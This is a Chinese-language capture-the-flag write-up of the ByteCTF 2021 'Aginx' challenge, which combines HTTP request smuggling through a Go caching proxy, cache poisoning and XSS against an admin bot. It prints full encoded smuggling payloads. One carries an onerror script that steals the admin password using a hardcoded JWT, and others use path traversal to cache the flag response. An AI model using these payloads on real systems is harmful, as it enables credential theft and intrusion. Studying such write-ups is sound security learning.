Aginx1
考点是请求走私 + 缓存攻击 + XSS。
关于源码
源码的实现分为四个部分:
用vue实现了前端的小作文界面
此题是并没有考察vue框架中的相关漏洞的
实现了bot机器热模拟访问文章
bot这个功能在常见的xss题目里面都会出现,这里也是可以通过bot进行xss的,整体看bot的功能就是,它在监听一个端口,并且你可以nc连接,将你要访问的文章id发给bot,它会用admin账户去登录查看。这里就联想到如果我们在要访问的文章中插入恶意代码,再让bot访问不就实现了xss了吗。再仔细看源码也可以发现,bot登录了admin账户,并且进行了一个跳转,这里很容易联想到目录穿越,简单的操作一下也可以证实了确实可以目录穿越。
go实现的一个a-ginx反向代理服务
这里的a-ginx服务主要是用来判断请求的文件是否是缓存文件,当请求的内容没有缓存时转发给另外一个服务处理,并且将正常返回的内容进行一个缓存。
先是进行了两个判断,一是判断是否能获取到静态文件,二是判断是否有缓存,如果都不是才发起一个代理请求。
在处理过程的最开始会创建一个和处理代理请求的服务的TCP连接。并且会保持连接。
我们再来看它是如何发送请求的,可以看到这里就是进行了一个http2的降级,然后简单的进行了一些请求头的字符串拼接,并且添加了一个X-Sup3r-Re4l-Ip
头,值就是来自用户的ip地址。这里就涉及到请求走私的问题了。
go实现的处理a-ginx代理转发的请求的服务
这个最终的处理服务实现了发表文章,查询文章,预览文章等等功能。这里的预览文章是最可疑的,通过go模板显示内容,可能会存在go的模板注入。
| {{.title}}<br/>{{.content}}
|
再看源码发现了还有一个读取flag的功能。这个处理进行了两个判断限制。一是ip地址的范围限制,二是必须用admin用户登录。光是第一个限制我们在前端用户肯定就无法绕过了,所以这里肯定是需要通过bot来访问到这个flag了。
攻击
[]: https://bytectf.feishu.cn/docs/doccnq7Z5hqRBMvrmpRQMAGEK4e# “官方wp”
[]: https://impakho.com/post/bytectf-2021-aginx-writeup “impakho”
看了大佬的wp还有官方wp,不得不说一步一步的深入分析真的很细致。
直接看payload吧
| GET /static/v4WPbblaISwL%20HTTP/1.1%0D%0AConnection:%20keep-alive%0D%0AHost:%20a%0D%0A%0D%0APOST%20%2Fv/articles/preview HTTP/2 Host: 39.105.13.40:30443 Content-Type: application/x-www-form-urlencoded Content-Length: 921
title=%7B%22data%22%3A%7B%22_id%22%3A%221%22%2C%22title%22%3A%222%22%2C%22author%22%3A%223%22%2C%22htmlContent%22%3A%22&content=%3Cimg%20src%3D'test'%20onerror%3D'var%20xhttp1%20%3D%20new%20XMLHttpRequest()%3Bxhttp1.open(%5C%22POST%5C%22%2C%20%5C%22%2Fv%2Farticles%5C%22%2C%20true)%3Bxhttp1.setRequestHeader(%5C%22Content-Type%5C%22%2C%5C%22application%2Fjson%5C%22)%3Bxhttp1.setRequestHeader(%5C%22Authorization%5C%22%2C%5C%22Bearer%20eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2MzUwMTgxODYsInVzZXJuYW1lIjoiblZtU1N0UHpJU1E5In0.Z8kRojnNNNd6-g7Il3BPzvuGdVz-UtqaQzjWPsC1FMw%5C%22)%3Bxhttp1.send(JSON.stringify(%7B%5C%22title%5C%22%3A%5C%22here_is_pwd%5C%22%2C%5C%22content%5C%22%3Adocument.getElementById(%5C%22app%5C%22).__vue__.%24children%5B2%5D._data.form.password%2C%5C%22tags%5C%22%3A%5B%5D%2C%5C%22is_public%5C%22%3Afalse%7D))%3B'%3E%22%2C%22submissionTime%22%3A4%2C%22tags%22%3A%225%22%7D%2C%22status%22%3A0%7D
|
在a-ginx代理转发过程中会进行一次url解码,之后会看到如下请求,这个的GET和POST会被当作是两个请求的,因为http的请求分割是通过%0D%0A%0D%0A
来判断。这里的GET请求之后又会接着发送POST,所以造成了请求走私。
| GET /static/v4WPbblaISwL HTTP/1.1 Connection: keep-alive Host: a
POST /v/articles/preview HTTP/2 Host: 39.105.13.40:30443 Content-Type: application/x-www-form-urlencoded Content-Length: 921 title={"data":{"_id":"1","title":"2","author":"3","htmlContent":"&content=<img src='test' onerror='var xhttp1 = new XMLHttpRequest();xhttp1.open(\"POST\", \"/v/articles\", true);xhttp1.setRequestHeader(\"Content-Type\",\"application/json\");xhttp1.setRequestHeader(\"Authorization\",\"Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2MzUwMTgxODYsInVzZXJuYW1lIjoiblZtU1N0UHpJU1E5In0.Z8kRojnNNNd6-g7Il3BPzvuGdVz-UtqaQzjWPsC1FMw\");xhttp1.send(JSON.stringify({\"title\":\"here_is_pwd\",\"content\":document.getElementById(\"app\").__vue__.$children[2]._data.form.password,\"tags\":[],\"is_public\":false}));'>","submissionTime":4,"tags":"5"},"status":0}
|
多发送几次请求之后就能看到通过go模板返回了title
和content
的内容。再访问这个url就行下载到那个静态文件了
查看日志能发现,发送了两个请求
下面就是要让bot来访问你的缓存文件,执行html中的代码造成xss。这里需要将url进行二次编码,因为会转发两次
| ..%252F..%252Fstatic%2Fkkfine%2520HTTP%252F1.1%250D%250AConnection:%2520keep-alive%250D%250AHost:%2520a%250D%250A%250D%250APOST%2520%252Fv%252Farticles%252Fpreview
|
查看日志
这里的请求表明成功触发了xss代码,回显中的title
和content
便能看出密码。这里是不会发送到后端的,因为能直接获取到静态文件。这个做法就是和impakho
大佬写的一样了。
再看到官方wp时发现还有更简单的做法。因为大佬的最终攻击方法是先获取到admin用户的密码,然后登录admin账户提取Authorization
认证,再用这个认证去获取flag,然后将返回内容发送到自己账户文章上。但官方wp还说到了另一种简思路,就是这里并不需要去偷admin的密码。两种做法的原因在于出题人的想法最后还考到了一个跳转时也可进行请求走私,所以可以直接将flag注入到缓存里面,我们便可以直接访问,也不需要触发xss,当然这只是一个非预期。
先按上面的方法向/static/kkfine.json
中写入东西,然后直接向bot发送id(其实也可以直接向bot发送两次id)
| ..%25252f..%25252fstatic%252fkkfine.json%2520HTTP%252f1.1%250aHost:%2520localhost%250aConnection:%2520Keep-Alive%250a%250aGET%2520%252fflag
|
可以发现经过两次解码这里存在一个301跳转,并且走私了一个/flag请求,然而在301再次请求时,上个请求已经被缓存了,所以这里不会再经过web端了,flag就直接被储存到了缓存文件里。
之后直接请求我们的缓存文件
在复现这个题的时候,当同时有多个请求时的缓存问题让我对网络中各种请求和跳转的理解更深了。
Aginx2
Nothing